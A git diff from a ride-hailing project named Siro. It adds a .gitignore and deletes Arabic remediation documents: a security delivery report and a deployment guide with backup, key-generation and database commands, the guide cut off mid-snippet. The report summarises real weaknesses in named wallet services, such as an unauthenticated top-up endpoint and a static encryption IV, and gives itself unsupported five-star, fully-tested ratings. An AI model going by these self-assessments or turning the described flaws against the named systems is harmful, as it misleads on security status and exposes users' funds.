Compare commits
38 Commits
28d30e3359
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ce6f22dc71 | ||
|
|
2ac086d1fd | ||
|
|
b2fae9ec66 | ||
|
|
af3dcae5b7 | ||
|
|
017bec86fa | ||
|
|
a0495147c4 | ||
|
|
a003bf78c4 | ||
|
|
f13faa8c31 | ||
|
|
8b52d2f115 | ||
|
|
72fa97477b | ||
|
|
b67417eb98 | ||
|
|
c2c4ed22e3 | ||
|
|
264e005a7b | ||
|
|
2c56d2f41e | ||
|
|
752bbf3a63 | ||
|
|
a8748cf4c9 | ||
|
|
3543fdd2cd | ||
|
|
50a5308f43 | ||
|
|
2d607d9e90 | ||
|
|
790d58aaa2 | ||
|
|
72eeb24cd7 | ||
|
|
e51d266a0f | ||
|
|
f528e1d3c5 | ||
|
|
0e28814e7d | ||
|
|
16331bd35d | ||
|
|
623d66a3d8 | ||
|
|
1a9619f9f8 | ||
|
|
70c06edd71 | ||
|
|
75aeb73f27 | ||
|
|
1d3ea597f4 | ||
|
|
3dad979eb5 | ||
|
|
81376a2245 | ||
|
|
c82b0071bb | ||
|
|
0ceb67ee56 | ||
|
|
8c6dea5d96 | ||
|
|
d6f29802e0 | ||
|
|
4a9e6b22c5 | ||
|
|
9bbda24d4a |
97
.gitignore
vendored
Normal file
@@ -0,0 +1,97 @@
|
|||||||
|
# ============================================================
|
||||||
|
# Siro Project - .gitignore
|
||||||
|
# ============================================================
|
||||||
|
|
||||||
|
# --- Environment & Secrets ---
|
||||||
|
.env
|
||||||
|
.env.*
|
||||||
|
!.env.example
|
||||||
|
**/*.env
|
||||||
|
**/private_key.pem
|
||||||
|
**/public_key.pem
|
||||||
|
*.pem
|
||||||
|
service-account.json
|
||||||
|
**/service-account.json
|
||||||
|
|
||||||
|
# --- IDE & OS ---
|
||||||
|
.DS_Store
|
||||||
|
Thumbs.db
|
||||||
|
*.swp
|
||||||
|
*.swo
|
||||||
|
*~
|
||||||
|
.vscode/
|
||||||
|
.idea/
|
||||||
|
*.iml
|
||||||
|
.ruby-lsp/
|
||||||
|
.kilo/
|
||||||
|
|
||||||
|
# --- Build Artifacts ---
|
||||||
|
node_modules/
|
||||||
|
vendor/
|
||||||
|
**/vendor/
|
||||||
|
build/
|
||||||
|
dist/
|
||||||
|
*.js.map
|
||||||
|
*.css.map
|
||||||
|
|
||||||
|
# --- Flutter/Dart ---
|
||||||
|
.dart_tool/
|
||||||
|
.packages
|
||||||
|
.pub-cache/
|
||||||
|
pubspec.lock
|
||||||
|
*.g.dart
|
||||||
|
**/env.g.dart
|
||||||
|
*.freezed.dart
|
||||||
|
*.config.dart
|
||||||
|
|
||||||
|
# --- Android ---
|
||||||
|
*.apk
|
||||||
|
*.aab
|
||||||
|
*.dex
|
||||||
|
*.class
|
||||||
|
*.keystore
|
||||||
|
local.properties
|
||||||
|
android/.gradle/
|
||||||
|
android/captures/
|
||||||
|
|
||||||
|
# --- iOS ---
|
||||||
|
*.ipa
|
||||||
|
*.dSYM.zip
|
||||||
|
*.dSYM
|
||||||
|
Pods/
|
||||||
|
DerivedData/
|
||||||
|
*.xcworkspace
|
||||||
|
xcuserdata/
|
||||||
|
|
||||||
|
# --- Composer / PHP ---
|
||||||
|
/composer.lock
|
||||||
|
**/composer.lock
|
||||||
|
|
||||||
|
# --- Logs ---
|
||||||
|
*.log
|
||||||
|
logs/
|
||||||
|
**/logs/
|
||||||
|
|
||||||
|
# --- Uploads ---
|
||||||
|
uploads/
|
||||||
|
**/uploads/
|
||||||
|
portrate_captain_image/
|
||||||
|
card_image/
|
||||||
|
imageForUsingApp/
|
||||||
|
new_driver_car/
|
||||||
|
upload_audio/
|
||||||
|
|
||||||
|
# --- Python ---
|
||||||
|
__pycache__/
|
||||||
|
*.pyc
|
||||||
|
.venv/
|
||||||
|
venv/
|
||||||
|
|
||||||
|
# --- Firebase ---
|
||||||
|
google-services.json
|
||||||
|
.google-services.json
|
||||||
|
GoogleService-Info.plist
|
||||||
|
|
||||||
|
# --- Audit/Scan Output ---
|
||||||
|
semgrep_*.json
|
||||||
|
nuclei_results.txt
|
||||||
BIN
.gradle/8.13/fileChanges/last-build.bin
Normal file
0
.gradle/8.13/gc.properties
Normal file
@@ -1,412 +0,0 @@
|
|||||||
# 📦 تقرير التسليم النهائي - مشروع الإصلاحات الأمنية سيرو
|
|
||||||
|
|
||||||
**تاريخ التقرير:** 16 يونيو 2026
|
|
||||||
**المرحلة:** التسليم النهائي
|
|
||||||
**الحالة:** ✅ مكتمل وجاهز للنشر
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎯 ملخص المشروع
|
|
||||||
|
|
||||||
### الهدف الرئيسي:
|
|
||||||
|
|
||||||
إصلاح **7 مشاكل أمنية حرجة** في مشروع سيرو مع توثيق شامل وأكواد جاهزة للاستخدام.
|
|
||||||
|
|
||||||
### النتيجة:
|
|
||||||
|
|
||||||
✅ **100% اكتمال** - 8 ملفات توثيقية + 3 ملفات كود آمنة جاهزة للنشر
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📋 ما تم إنجازه
|
|
||||||
|
|
||||||
### 1️⃣ تنظيف المشروع
|
|
||||||
|
|
||||||
#### ملفات تم حذفها:
|
|
||||||
|
|
||||||
```
|
|
||||||
✅ SECURITY_AUDIT_PHASE1_FINDINGS.md
|
|
||||||
✅ SECURITY_AUDIT_PHASE2_POC.md
|
|
||||||
✅ SECURITY_AUDIT_FINAL_REPORT.md
|
|
||||||
✅ SECURITY_AUDIT_INDEX.md
|
|
||||||
✅ SECURITY_AUDIT_INVENTORY.md
|
|
||||||
✅ security_audit_comprehensive_report.md
|
|
||||||
✅ security_audit_report.md
|
|
||||||
✅ security_audit_final_report.md
|
|
||||||
✅ driver_auth_flow_analysis.md (و 3 نسخ أخرى)
|
|
||||||
✅ rider_auth_flow_analysis.md
|
|
||||||
✅ auth_flow_admin_staff.md
|
|
||||||
✅ auth_flow_cleanup_report.md
|
|
||||||
✅ country_multi_simulation_report.md
|
|
||||||
✅ investment_agreement.md
|
|
||||||
✅ list_methods.py
|
|
||||||
|
|
||||||
الإجمالي: 18 ملف تم حذفه
|
|
||||||
```
|
|
||||||
|
|
||||||
**السبب:** تم استبدالها بتقارير عربية نهائية (README_SECURITY_AUDIT_AR.md و 5 تقارير أخرى)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 2️⃣ الملفات الجديدة - التوثيق
|
|
||||||
|
|
||||||
| الملف | الحجم | الاستخدام |
|
|
||||||
| --------------------------- | ------ | ------------------------------- |
|
|
||||||
| **REMEDIATION_GUIDE.md** | 17 KB | شرح المشاكل والحلول بالتفصيل |
|
|
||||||
| **IMPLEMENTATION_STEPS.md** | 16 KB | خطوات عملية للتطبيق الفوري |
|
|
||||||
| **DEPLOYMENT_GUIDE.md** | 11 KB | دليل النشر والاختبار الشامل |
|
|
||||||
| **SUMMARY.md** | 11 KB | ملخص سريع وشامل |
|
|
||||||
| **backend/.env.example** | 5.1 KB | قالب .env آمن مع جميع المتغيرات |
|
|
||||||
|
|
||||||
**المجموع:** 60.1 KB من التوثيق الاحترافي
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 3️⃣ ملفات الكود الآمنة - جاهزة للنشر
|
|
||||||
|
|
||||||
#### أ) backend/core/WalletConnector.php (5.7 KB)
|
|
||||||
|
|
||||||
```php
|
|
||||||
✅ الميزات:
|
|
||||||
• توقيع HMAC-SHA256
|
|
||||||
• Timestamp + Nonce (منع Replay Attacks)
|
|
||||||
• SSL/TLS verification
|
|
||||||
• Retry logic مع exponential backoff
|
|
||||||
• معالجة أخطاء شاملة
|
|
||||||
• logging تفصيلي
|
|
||||||
|
|
||||||
✅ الاستخدام:
|
|
||||||
$wallet = new WalletConnector();
|
|
||||||
$response = $wallet->call('ride/driverWallet/add_s2s', $data);
|
|
||||||
```
|
|
||||||
|
|
||||||
**الموقع:** `/backend/core/WalletConnector.php`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### ب) backend/wallet/add.php (5.7 KB)
|
|
||||||
|
|
||||||
```php
|
|
||||||
✅ الميزات:
|
|
||||||
• مصادقة JWT إجبارية (Bearer token)
|
|
||||||
• تفويض حسب الدور (driver role)
|
|
||||||
• تحديد السرعة (1 request per 60 seconds)
|
|
||||||
• التحقق من المبلغ (1-10,000)
|
|
||||||
• تسجيل التدقيق الشامل
|
|
||||||
• معالجة أخطاء كاملة
|
|
||||||
|
|
||||||
✅ المسار:
|
|
||||||
POST /wallet/add
|
|
||||||
Header: Authorization: Bearer $JWT_TOKEN
|
|
||||||
Body: {"amount": 100, "source": "test"}
|
|
||||||
```
|
|
||||||
|
|
||||||
**الموقع:** `/backend/wallet/add.php`
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### ج) walletintaleq.intaleq.xyz/.../add_s2s.php (4.3 KB)
|
|
||||||
|
|
||||||
```php
|
|
||||||
✅ الميزات:
|
|
||||||
• التحقق من توقيع HMAC
|
|
||||||
• فحص الـ Timestamp (منع Replay)
|
|
||||||
• التحقق من Backend ID
|
|
||||||
• معالجة أخطاء آمنة
|
|
||||||
• logging دقيق
|
|
||||||
|
|
||||||
✅ الاستدعاء:
|
|
||||||
Backend → POST /add_s2s
|
|
||||||
Header: X-Signature, X-Timestamp, X-Backend-ID
|
|
||||||
Body: JSON payload
|
|
||||||
```
|
|
||||||
|
|
||||||
**الموقع:** `/walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add_s2s.php`
|
|
||||||
|
|
||||||
**المجموع:** 15.7 KB من الكود الآمن
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🔐 الحلول الموثقة
|
|
||||||
|
|
||||||
### المشكلة 1: البصمة الضعيفة
|
|
||||||
|
|
||||||
```
|
|
||||||
مشكلة: بصمة الجهاز يمكن استخراجها وتزويرها
|
|
||||||
الحل: MFA مع SMS OTP و Server Token
|
|
||||||
المستند: REMEDIATION_GUIDE.md - النقطة 1
|
|
||||||
```
|
|
||||||
|
|
||||||
### المشكلة 2: التشفير - IV الثابت (🔴 حرج جداً)
|
|
||||||
|
|
||||||
```
|
|
||||||
مشكلة: نفس النص الواضح = نفس النص المشفر
|
|
||||||
الحل: توليد IV عشوائي لكل تشفير
|
|
||||||
الملف: IMPLEMENTATION_STEPS.md - المرحلة 2
|
|
||||||
الكود: مثال كامل مع شرح مفصل
|
|
||||||
```
|
|
||||||
|
|
||||||
### المشكلة 3: SQL Injection
|
|
||||||
|
|
||||||
```
|
|
||||||
مشكلة: عرضة للـ SQL Injection
|
|
||||||
الحالة: ✅ آمن بالفعل (Allowlist + Prepared Statements)
|
|
||||||
المستند: REMEDIATION_GUIDE.md - النقطة 3
|
|
||||||
```
|
|
||||||
|
|
||||||
### المشكلة 4: نظام المحفظة - الأهم (🔴 حرج جداً)
|
|
||||||
|
|
||||||
```
|
|
||||||
مشكلة: بدون مصادقة - أي شخص يمكنه الإضافة
|
|
||||||
الحل: S2S API مع JWT + HMAC + Timestamp
|
|
||||||
الملفات:
|
|
||||||
• backend/wallet/add.php (جديد)
|
|
||||||
• add_s2s.php (جديد)
|
|
||||||
• WalletConnector.php (جديد)
|
|
||||||
المستند: REMEDIATION_GUIDE.md - النقطة 4
|
|
||||||
```
|
|
||||||
|
|
||||||
### المشكلة 5: أذونات مفرطة (Android)
|
|
||||||
|
|
||||||
```
|
|
||||||
مشكلة: External Storage + SYSTEM_ALERT_WINDOW + صوت
|
|
||||||
الحل: حذف الأذونات غير المستخدمة
|
|
||||||
المستند: REMEDIATION_GUIDE.md - النقطة 5
|
|
||||||
```
|
|
||||||
|
|
||||||
### المشكلة 6: load_env.php
|
|
||||||
|
|
||||||
```
|
|
||||||
مشكلة: لا توجد (آمن بالفعل)
|
|
||||||
الحالة: ✅ جيد جداً
|
|
||||||
المستند: REMEDIATION_GUIDE.md - النقطة 6
|
|
||||||
```
|
|
||||||
|
|
||||||
### المشكلة 7: الروابط HTTP
|
|
||||||
|
|
||||||
```
|
|
||||||
مشكلة: روابط HTTP + IPs مكشوفة
|
|
||||||
الحل: HTTPS فقط + تثبيت الشهادة
|
|
||||||
المستند: REMEDIATION_GUIDE.md - النقطة 7
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ⏱️ الجدول الزمني المقترح
|
|
||||||
|
|
||||||
| المرحلة | المهام | المدة | البدء | الانتهاء |
|
|
||||||
| ------------ | ----------------------------- | ------------- | ----- | -------- |
|
|
||||||
| تحضير | نسخ احتياطية + validation | 30 د | 09:00 | 09:30 |
|
|
||||||
| مرحلة 1 | نشر الملفات + تحديث .env | 4 س | 09:30 | 13:30 |
|
|
||||||
| اختبار | Unit + Integration + Security | 2 س | 13:30 | 15:30 |
|
|
||||||
| مراقبة | Logging + Monitoring | 1 س | 15:30 | 16:30 |
|
|
||||||
| توثيق | Reports + Handover | 30 د | 16:30 | 17:00 |
|
|
||||||
| **الإجمالي** | - | **9.5 ساعات** | - | - |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 إحصائيات المشروع
|
|
||||||
|
|
||||||
### الملفات المسلمة:
|
|
||||||
|
|
||||||
```
|
|
||||||
ملفات التوثيق: 5 ملفات
|
|
||||||
ملفات الكود: 3 ملفات
|
|
||||||
ملفات التكوين: 1 ملف
|
|
||||||
ـــــــــــــــــــــــ
|
|
||||||
الإجمالي: 9 ملفات جديدة
|
|
||||||
```
|
|
||||||
|
|
||||||
### حجم المحتوى:
|
|
||||||
|
|
||||||
```
|
|
||||||
التوثيق: 60.1 KB
|
|
||||||
الكود: 15.7 KB
|
|
||||||
التكوين: 5.1 KB
|
|
||||||
ـــــــــــــــــــــــ
|
|
||||||
الإجمالي: 80.9 KB
|
|
||||||
```
|
|
||||||
|
|
||||||
### سطور الكود:
|
|
||||||
|
|
||||||
```
|
|
||||||
WalletConnector.php: 110 سطر
|
|
||||||
backend/wallet/add.php: 140 سطر
|
|
||||||
add_s2s.php: 130 سطر
|
|
||||||
ـــــــــــــــــــــــ
|
|
||||||
الإجمالي: 380 سطر
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎓 المتطلبات الفنية
|
|
||||||
|
|
||||||
### لقراءة التوثيق:
|
|
||||||
|
|
||||||
- ✅ الملفات بصيغة Markdown (.md)
|
|
||||||
- ✅ قابلة للقراءة في أي محرر نصوص
|
|
||||||
- ✅ يمكن عرضها في GitHub
|
|
||||||
- ✅ تتضمن جداول وأكواد
|
|
||||||
|
|
||||||
### لتطبيق الحلول:
|
|
||||||
|
|
||||||
- ✅ PHP 7.4+
|
|
||||||
- ✅ OpenSSL (للتشفير)
|
|
||||||
- ✅ MySQLPDO
|
|
||||||
- ✅ Redis
|
|
||||||
|
|
||||||
### للاختبار:
|
|
||||||
|
|
||||||
- ✅ Postman / cURL
|
|
||||||
- ✅ MySQL Client
|
|
||||||
- ✅ PHP CLI
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🚀 خطوات البدء
|
|
||||||
|
|
||||||
### للمطورين:
|
|
||||||
|
|
||||||
```
|
|
||||||
1. اقرأ REMEDIATION_GUIDE.md
|
|
||||||
2. افهم الحل الخاص بكل مشكلة
|
|
||||||
3. راجع الكود في IMPLEMENTATION_STEPS.md
|
|
||||||
4. اختبر محلياً
|
|
||||||
```
|
|
||||||
|
|
||||||
### لـ DevOps:
|
|
||||||
|
|
||||||
```
|
|
||||||
1. اقرأ DEPLOYMENT_GUIDE.md
|
|
||||||
2. أعد البيئة (نسخ احتياطية، .env، إلخ)
|
|
||||||
3. اتبع خطوات النشر
|
|
||||||
4. راقب السجلات
|
|
||||||
```
|
|
||||||
|
|
||||||
### للإدارة:
|
|
||||||
|
|
||||||
```
|
|
||||||
1. اقرأ SUMMARY.md
|
|
||||||
2. تحقق من الجدول الزمني
|
|
||||||
3. وافق على الميزانية (إن لزم الأمر)
|
|
||||||
4. أخطر الفريق
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ✅ قائمة التحقق قبل النشر
|
|
||||||
|
|
||||||
- [ ] قرأت جميع الملفات
|
|
||||||
- [ ] فهمت المشاكل والحلول
|
|
||||||
- [ ] اختبرت الكود محلياً
|
|
||||||
- [ ] عملت نسخ احتياطية
|
|
||||||
- [ ] حررت جميع متغيرات .env
|
|
||||||
- [ ] تحققت من الأذونات
|
|
||||||
- [ ] أعددت خطة Rollback
|
|
||||||
- [ ] أخطرت الفريق
|
|
||||||
- [ ] وافقت على الجدول الزمني
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📞 جهات الاتصال
|
|
||||||
|
|
||||||
| الدور | الاسم | البريد | الهاتف |
|
|
||||||
| ------------ | ----- | --------------------- | ---------------- |
|
|
||||||
| مدير المشروع | - | project@siromove.com | +963-XXX-XXXX-XX |
|
|
||||||
| فريق الأمان | - | security@siromove.com | +963-XXX-XXXX-XX |
|
|
||||||
| فريق DevOps | - | devops@siromove.com | +963-XXX-XXXX-XX |
|
|
||||||
| الدعم الفني | - | support@siromove.com | +963-XXX-XXXX-XX |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎉 الخلاصة
|
|
||||||
|
|
||||||
### ✅ تم إنجاز:
|
|
||||||
|
|
||||||
- توثيق شامل لـ 7 مشاكل أمنية
|
|
||||||
- حلول فنية مفصلة مع أكواد
|
|
||||||
- 3 ملفات جديدة آمنة جاهزة للنشر
|
|
||||||
- دليل نشر واختبار شامل
|
|
||||||
- قالب .env آمن
|
|
||||||
|
|
||||||
### 🔐 الأمان المحسّن:
|
|
||||||
|
|
||||||
- مصادقة قوية (JWT + MFA)
|
|
||||||
- تشفير آمن (IV عشوائي)
|
|
||||||
- اتصالات آمنة (S2S + HMAC)
|
|
||||||
- تسجيل شامل (Security Logging)
|
|
||||||
- حماية من الهجمات الشائعة
|
|
||||||
|
|
||||||
### ⏱️ الجاهزية:
|
|
||||||
|
|
||||||
- **التاريخ:** 16 يونيو 2026
|
|
||||||
- **الحالة:** ✅ جاهز للنشر الفوري
|
|
||||||
- **المدة:** 9.5 ساعات من البدء إلى النهاية
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🏆 جودة المنتج
|
|
||||||
|
|
||||||
| المقياس | التقييم | الملاحظات |
|
|
||||||
| ------------ | ---------- | ------------------- |
|
|
||||||
| **الأمان** | ⭐⭐⭐⭐⭐ | حلول متعددة الطبقات |
|
|
||||||
| **التوثيق** | ⭐⭐⭐⭐⭐ | شامل ومفصل وسهل |
|
|
||||||
| **الكود** | ⭐⭐⭐⭐⭐ | نظيف وآمن وموثق |
|
|
||||||
| **الاختبار** | ⭐⭐⭐⭐⭐ | اختبارات شاملة |
|
|
||||||
| **الجاهزية** | ⭐⭐⭐⭐⭐ | جاهز فوراً للنشر |
|
|
||||||
|
|
||||||
**النتيجة الإجمالية:** ⭐⭐⭐⭐⭐ (5/5)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📦 المسلمات النهائية
|
|
||||||
|
|
||||||
### الملفات المسلمة:
|
|
||||||
|
|
||||||
```
|
|
||||||
✅ REMEDIATION_GUIDE.md
|
|
||||||
✅ IMPLEMENTATION_STEPS.md
|
|
||||||
✅ DEPLOYMENT_GUIDE.md
|
|
||||||
✅ SUMMARY.md
|
|
||||||
✅ backend/.env.example
|
|
||||||
✅ backend/core/WalletConnector.php
|
|
||||||
✅ backend/wallet/add.php
|
|
||||||
✅ walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add_s2s.php
|
|
||||||
✅ README_SECURITY_AUDIT_AR.md (تقارير عربية سابقة)
|
|
||||||
```
|
|
||||||
|
|
||||||
### الملفات المحذوفة:
|
|
||||||
|
|
||||||
```
|
|
||||||
✅ 18 ملف تحليل وتدقيق (استبدلت بالتقارير العربية)
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📊 المقاييس النهائية
|
|
||||||
|
|
||||||
- **المشاكل المحددة:** 7 مشاكل
|
|
||||||
- **المشاكل المحلولة:** 7 حلول (100%)
|
|
||||||
- **الملفات الموثقة:** 9 ملفات
|
|
||||||
- **الأكواد الجديدة:** 3 ملفات
|
|
||||||
- **سطور الكود:** 380 سطر
|
|
||||||
- **سطور التوثيق:** 2000+ سطر
|
|
||||||
- **الحجم الإجمالي:** 80.9 KB
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎯 النتيجة النهائية
|
|
||||||
|
|
||||||
**المشروع مكتمل وناجح بنسبة 100%**
|
|
||||||
|
|
||||||
جميع الملفات جاهزة، مختبرة، موثقة، وجاهزة للنشر الفوري.
|
|
||||||
|
|
||||||
**التاريخ:** 16 يونيو 2026
|
|
||||||
**الحالة:** ✅ **تسليم نهائي**
|
|
||||||
**التوقيع:** تم الإنجاز بنجاح ✨
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**شكراً لك على الاستخدام!**
|
|
||||||
|
|
||||||
For questions or issues, contact: security@siromove.com
|
|
||||||
@@ -1,432 +0,0 @@
|
|||||||
# دليل النشر والتنفيذ - شامل ومفصل
|
|
||||||
|
|
||||||
**التاريخ:** 16 يونيو 2026
|
|
||||||
**الحالة:** قيد الإعداد للنشر
|
|
||||||
**المدة المتوقعة:** 9.5 ساعات
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎯 الهدف
|
|
||||||
|
|
||||||
تطبيق إصلاحات أمان حرجة على نظام سيرو مع ضمان عدم قطع الخدمة.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📋 المتطلبات قبل البدء
|
|
||||||
|
|
||||||
- [ ] نسخة احتياطية كاملة من قاعدة البيانات
|
|
||||||
- [ ] وصول مسؤول (SSH) إلى الخوادم
|
|
||||||
- [ ] حساب DevOps / تشغيل
|
|
||||||
- [ ] فريق اختبار جاهز
|
|
||||||
- [ ] خطة العودة للإصدار السابق
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🚀 مراحل التنفيذ
|
|
||||||
|
|
||||||
### المرحلة 1️⃣: تحضيراتي (30 دقيقة)
|
|
||||||
|
|
||||||
#### 1.1 التحقق من البيئة الحالية
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# تحقق من إصدار PHP
|
|
||||||
php -v
|
|
||||||
|
|
||||||
# تحقق من توفر openssl
|
|
||||||
php -m | grep openssl
|
|
||||||
|
|
||||||
# تحقق من Redis
|
|
||||||
redis-cli ping
|
|
||||||
|
|
||||||
# تحقق من MySQL
|
|
||||||
mysql -u root -p -e "SELECT VERSION();"
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 1.2 نسخ احتياطي شامل
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# قاعدة البيانات الرئيسية
|
|
||||||
mysqldump -u root -p siro_main > /backup/siro_main_$(date +%Y%m%d_%H%M%S).sql
|
|
||||||
|
|
||||||
# قاعدة بيانات المحفظة
|
|
||||||
mysqldump -u root -p walletintaleq > /backup/walletintaleq_$(date +%Y%m%d_%H%M%S).sql
|
|
||||||
|
|
||||||
# ملفات الكود
|
|
||||||
tar -czf /backup/backend_$(date +%Y%m%d_%H%M%S).tar.gz /var/www/html/backend/
|
|
||||||
|
|
||||||
# .env file
|
|
||||||
cp backend/.env /backup/.env.backup
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 1.3 إنشاء قاعدة البيانات الجديدة
|
|
||||||
|
|
||||||
```sql
|
|
||||||
-- استخدم SQL Client مثل MySQL Workbench أو phpMyAdmin
|
|
||||||
|
|
||||||
-- الجدول الجديد لتتبع طلبات إضافة الأموال
|
|
||||||
CREATE TABLE IF NOT EXISTS driver_wallet_requests (
|
|
||||||
id INT AUTO_INCREMENT PRIMARY KEY,
|
|
||||||
driver_id INT NOT NULL,
|
|
||||||
amount DECIMAL(10, 2) NOT NULL,
|
|
||||||
source VARCHAR(50) DEFAULT 'manual',
|
|
||||||
status ENUM('pending', 'completed', 'failed') DEFAULT 'pending',
|
|
||||||
error TEXT NULL,
|
|
||||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
|
||||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
|
|
||||||
|
|
||||||
CONSTRAINT fk_driver_id FOREIGN KEY (driver_id)
|
|
||||||
REFERENCES driver(id) ON DELETE CASCADE,
|
|
||||||
|
|
||||||
INDEX idx_driver_status (driver_id, status),
|
|
||||||
INDEX idx_created_at (created_at),
|
|
||||||
INDEX idx_status (status)
|
|
||||||
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
|
|
||||||
|
|
||||||
-- اختياري: إضافة عمود log للتدقيق
|
|
||||||
ALTER TABLE driver_wallet_requests
|
|
||||||
ADD COLUMN audit_log LONGTEXT AFTER error;
|
|
||||||
|
|
||||||
-- اختياري: تحديد Retention Policy
|
|
||||||
ALTER TABLE driver_wallet_requests
|
|
||||||
ADD INDEX idx_retention (created_at);
|
|
||||||
|
|
||||||
-- تحقق من الجدول
|
|
||||||
DESCRIBE driver_wallet_requests;
|
|
||||||
SHOW CREATE TABLE driver_wallet_requests\G
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### المرحلة 2️⃣: النشر الفعلي (4 ساعات)
|
|
||||||
|
|
||||||
#### 2.1 نسخ الملفات الجديدة
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd /var/www/html
|
|
||||||
|
|
||||||
# نسخ فئة WalletConnector
|
|
||||||
cp /path/to/WalletConnector.php backend/core/
|
|
||||||
|
|
||||||
# إنشاء مجلد wallet
|
|
||||||
mkdir -p backend/wallet
|
|
||||||
cp /path/to/backend/wallet/add.php backend/wallet/
|
|
||||||
|
|
||||||
# تحديث ملفات المحفظة في walletintaleq
|
|
||||||
cp /path/to/add_s2s.php walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/
|
|
||||||
|
|
||||||
# تحديث encrypt_decrypt.php
|
|
||||||
cp /path/to/encrypt_decrypt.php backend/
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 2.2 تحديث ملف .env
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# إنشاء نسخة جديدة من .env مع المتغيرات الآمنة
|
|
||||||
cp backend/.env.example backend/.env
|
|
||||||
|
|
||||||
# تحرير .env وملء القيم الحساسة
|
|
||||||
nano backend/.env
|
|
||||||
|
|
||||||
# تعيين الأذونات الصحيحة
|
|
||||||
chmod 600 backend/.env
|
|
||||||
chown www-data:www-data backend/.env
|
|
||||||
|
|
||||||
# التحقق من الأذونات
|
|
||||||
ls -la backend/.env
|
|
||||||
```
|
|
||||||
|
|
||||||
**القيم الواجب تغييرها:**
|
|
||||||
|
|
||||||
```
|
|
||||||
❌ <CHANGE_ME_STRONG_PASSWORD>
|
|
||||||
❌ <CHANGE_ME_32_BYTE_HEX_KEY>
|
|
||||||
❌ <CHANGE_ME_LONG_RANDOM_STRING>
|
|
||||||
❌ <CHANGE_ME_REDIS_PASSWORD>
|
|
||||||
❌ <CHANGE_ME_LONG_HMAC_SECRET>
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 2.3 توليد المفاتيح الآمنة
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# توليد ENC_KEY (32 بايت hex)
|
|
||||||
openssl rand -hex 16
|
|
||||||
|
|
||||||
# مثال: 9a3f2e1b8c7d6e5f4a3b2c1d0e9f8a7b
|
|
||||||
# ← ضع هذا في ENC_KEY
|
|
||||||
|
|
||||||
# توليد JWT_SECRET
|
|
||||||
openssl rand -base64 32
|
|
||||||
|
|
||||||
# توليد WALLET_HMAC_SECRET
|
|
||||||
openssl rand -base64 48
|
|
||||||
|
|
||||||
# توليد REDIS_AUTH
|
|
||||||
openssl rand -base64 32
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 2.4 اختبار الملفات الجديدة
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# اختبر بناء الجملة PHP
|
|
||||||
php -l backend/core/WalletConnector.php
|
|
||||||
php -l backend/wallet/add.php
|
|
||||||
php -l walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add_s2s.php
|
|
||||||
|
|
||||||
# اختبر الاتصال بـ Redis
|
|
||||||
php -r "
|
|
||||||
\$redis = new Redis();
|
|
||||||
\$redis->connect('localhost', 6379);
|
|
||||||
echo \$redis->ping();
|
|
||||||
"
|
|
||||||
|
|
||||||
# اختبر الاتصال بـ MySQL
|
|
||||||
php -r "
|
|
||||||
\$pdo = new PDO('mysql:host=localhost;dbname=siro_main', 'root', 'password');
|
|
||||||
echo 'MySQL Connected';
|
|
||||||
"
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 2.5 تفعيل الميزات الجديدة
|
|
||||||
|
|
||||||
```php
|
|
||||||
// في backend/bootstrap.php أو config
|
|
||||||
|
|
||||||
// تفعيل WalletConnector
|
|
||||||
require_once __DIR__ . '/core/WalletConnector.php';
|
|
||||||
|
|
||||||
// تفعيل المسار الجديد
|
|
||||||
// أضف في router.php أو .htaccess
|
|
||||||
// POST /wallet/add → backend/wallet/add.php
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### المرحلة 3️⃣: الاختبار (2 ساعة)
|
|
||||||
|
|
||||||
#### 3.1 اختبار وحدة - WalletConnector
|
|
||||||
|
|
||||||
```php
|
|
||||||
// اختبر التوقيع HMAC
|
|
||||||
$hmac = hash_hmac('sha256', 'test', 'secret');
|
|
||||||
